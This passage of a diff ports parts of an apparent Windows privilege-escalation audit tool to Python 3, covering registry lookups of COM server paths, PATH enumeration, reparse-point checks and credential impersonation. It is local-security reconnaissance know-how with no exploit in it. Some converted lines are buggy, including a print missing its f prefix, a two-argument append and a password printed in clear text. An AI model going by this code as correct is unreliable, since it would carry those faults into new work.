- continue
- else:
- yield root + "\\" + file
+ for file in files:
+ m = re_exe.search(file)
+ if m is None:
+ continue
+ else:
+ yield root + "\\" + file
+
+ if include_dirs:
+ for directory in dirs:
+ yield root + "\\" + directory
- if include_dirs:
- for directory in dirs:
- yield root + "\\" + directory
# Copy of os.walk with minor mod to detect reparse points
def oswalk(top, topdown=True, onerror=None, followlinks=False):
@@ -273,15 +295,15 @@ def oswalk(top, topdown=True, onerror=None, followlinks=False):
def is_reparse_point(d):
- try:
- attr = win32api.GetFileAttributes(d)
- # reparse point http://msdn.microsoft.com/en-us/library/windows/desktop/gg258117(v=vs.85).aspx
- if attr & 0x400:
- print "[D] Is reparse point: %s" % d
- return 1
- except:
- pass
- return 0
+ try:
+ attr = win32api.GetFileAttributes(d)
+ # reparse point http://msdn.microsoft.com/en-us/library/windows/desktop/gg258117(v=vs.85).aspx
+ if attr & 0x400:
+ print("[D] Is reparse point: {d}")
+ return 1
+ except:
+ pass
+ return 0
# arg s contains windows-style env vars like: %windir%\foo
@@ -305,13 +327,17 @@ def lookup_files_for_clsid(clsid):
# Potentially intersting subkeys of clsids are listed here:
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms691424(v=vs.85).aspx
- for v in ("InprocServer", "InprocServer32", "LocalServer", "LocalServer32"):
- r = regkey("HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\" + clsid + "\\" + v)
+ for v in ("InprocServer", "InprocServer32", "LocalServer",
+ "LocalServer32"):
+ r = regkey("HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\" + clsid +
+ "\\" + v)
if r.is_present:
d = r.get_value("") # "(Default)" value
if d:
d = env_expand(d)
results.append([r, v, File(d)])
+
+
# else:
# print "[i] Skipping non-existent clsid: %s" % r.get_name()
@@ -341,7 +367,8 @@ def get_exe_path_clean(binary_dirty):
re1 = re.compile(r'^\\systemroot', re.IGNORECASE)
binary_dirty = re1.sub(os.getenv('SystemRoot'), binary_dirty)
re2 = re.compile(r'^system32\\', re.IGNORECASE)
- binary_dirty = re2.sub(os.getenv('SystemRoot') + r'\\system32\\', binary_dirty)
+ binary_dirty = re2.sub(
+ os.getenv('SystemRoot') + r'\\system32\\', binary_dirty)
re2 = re.compile(r'^\\\?\?\\', re.IGNORECASE)
binary_dirty = re2.sub('', binary_dirty)
@@ -360,7 +387,8 @@ def get_exe_path_clean(binary_dirty):
exe_path_clean = candidate
break
- if os.path.exists(candidate + ".exe") and os.path.isfile(candidate + ".exe"):
+ if os.path.exists(candidate + ".exe") and os.path.isfile(candidate +
+ ".exe"):
exe_path_clean = candidate + ".exe"
break
@@ -370,7 +398,8 @@ def get_exe_path_clean(binary_dirty):
exe_path_clean = candidate2
break
- if os.path.exists(candidate2 + ".exe") and os.path.isfile(candidate2 + ".exe"):
+ if os.path.exists(candidate2 +
+ ".exe") and os.path.isfile(candidate2 + ".exe"):
exe_path_clean = candidate2 + ".exe"
break
return exe_path_clean
@@ -378,31 +407,43 @@ def get_exe_path_clean(binary_dirty):
def impersonate(username, password, domain):
if username:
- print "Using alternative credentials:"
- print "Username: " + str(username)
- print "Password: " + str(password)
- print "Domain: " + str(domain)
- handle = win32security.LogonUser(username, domain, password, win32security.LOGON32_LOGON_NEW_CREDENTIALS, win32security.LOGON32_PROVIDER_WINNT50)
+ print("Using alternative credentials:")
+ print(f" Username: {username}")
+ print(f" Password: {password}")
+ print(f" Domain: {domain}")
+ handle = win32security.LogonUser(
+ username, domain, password,
+ win32security.LOGON32_LOGON_NEW_CREDENTIALS,
+ win32security.LOGON32_PROVIDER_WINNT50)
win32security.ImpersonateLoggedOnUser(handle)
else:
- print "[i] Running as current user. No logon creds supplied (-u, -D, -p)."
- print
+ print(
+ "[i] Running as current user. No logon creds supplied (-u, -D, -p)."
+ )
+ print()
+
def populate_scaninfo(report):
import socket
import datetime
report.add_info_item('hostname', socket.gethostname())
- report.add_info_item('datetime', datetime.datetime.now().strftime("%Y-%m-%d %H:%M"))
+ report.add_info_item('datetime',
+ datetime.datetime.now().strftime("%Y-%m-%d %H:%M"))
report.add_info_item('version', wpc.utils.get_version())
- report.add_info_item('user', os.environ['USERDOMAIN'] + "\\" + os.environ['USERNAME'])
+ report.add_info_item(
+ 'user', os.environ['USERDOMAIN'] + "\\" + os.environ['USERNAME'])
report.add_info_item('domain', win32api.GetDomainName())
ver_list = win32api.GetVersionEx(1)
try:
- report.add_info_item('ipaddress', ",".join(socket.gethostbyname_ex(socket.gethostname())[2])) # have to do this before Wow64DisableWow64FsRedirection
+ report.add_info_item('ipaddress', ",".join(
+ socket.gethostbyname_ex(socket.gethostname())
+ [2])) # have to do this before Wow64DisableWow64FsRedirection
except:
- report.add_info_item('ipaddress', "") # have to do this before Wow64DisableWow64FsRedirection
-
+ report.add_info_item(
+ 'ipaddress', ""
+ ) # have to do this before Wow64DisableWow64FsRedirection
+
os_ver = str(ver_list[0]) + "." + str(ver_list[1])
# version numbers from http://msdn.microsoft.com/en-us/library/ms724832(VS.85).aspx
if os_ver == "4.0":
@@ -423,12 +464,19 @@ def populate_scaninfo(report):
os_str = "Windows 7"
report.add_info_item('os', os_str)
- report.add_info_item('os_version', str(ver_list[0]) + "." + str(ver_list[1]) + "." + str(ver_list[2]) + " SP" + str(ver_list[5]))
+ report.add_info_item(
+ 'os_version',
+ str(ver_list[0]) + "." + str(ver_list[1]) + "." + str(ver_list[2]) +
+ " SP" + str(ver_list[5]))
+
def get_system_path():
key_string = 'SYSTEM\CurrentControlSet\Control\Session Manager\Environment'
try:
- keyh = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, key_string , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ)
+ keyh = win32api.RegOpenKeyEx(
+ win32con.HKEY_LOCAL_MACHINE, key_string, 0,
+ win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
+ | win32con.KEY_READ)
except:
return None
@@ -442,26 +490,33 @@ def get_system_path():
def get_user_paths():
try:
- keyh = win32api.RegOpenKeyEx(win32con.HKEY_USERS, None , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ)
+ keyh = win32api.RegOpenKeyEx(
+ win32con.HKEY_USERS, None, 0, win32con.KEY_ENUMERATE_SUB_KEYS
+ | win32con.KEY_QUERY_VALUE | win32con.KEY_READ)
except:
return 0
paths = []
subkeys = win32api.RegEnumKeyEx(keyh)
for subkey in subkeys:
try:
- subkeyh = win32api.RegOpenKeyEx(keyh, subkey[0] + "\\Environment" , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ)
+ subkeyh = win32api.RegOpenKeyEx(
+ keyh, subkey[0] + "\\Environment", 0,
+ win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
+ | win32con.KEY_READ)
except:
pass
else:
try:
path, type = win32api.RegQueryValueEx(subkeyh, "PATH")
try:
- user_sid = win32security.ConvertStringSidToSid(subkey[0])
+ user_sid = win32security.ConvertStringSidToSid(subkey[0])
except:
- print "WARNING: Can't convert sid %s to name. Skipping." % subkey[0]
+ print(
+ f"WARNING: Can't convert sid {subkey[0]} to name. Skipping."
+ )
continue
paths.append(user(user_sid), path)
except:
pass
- return paths
\ No newline at end of file
+ return paths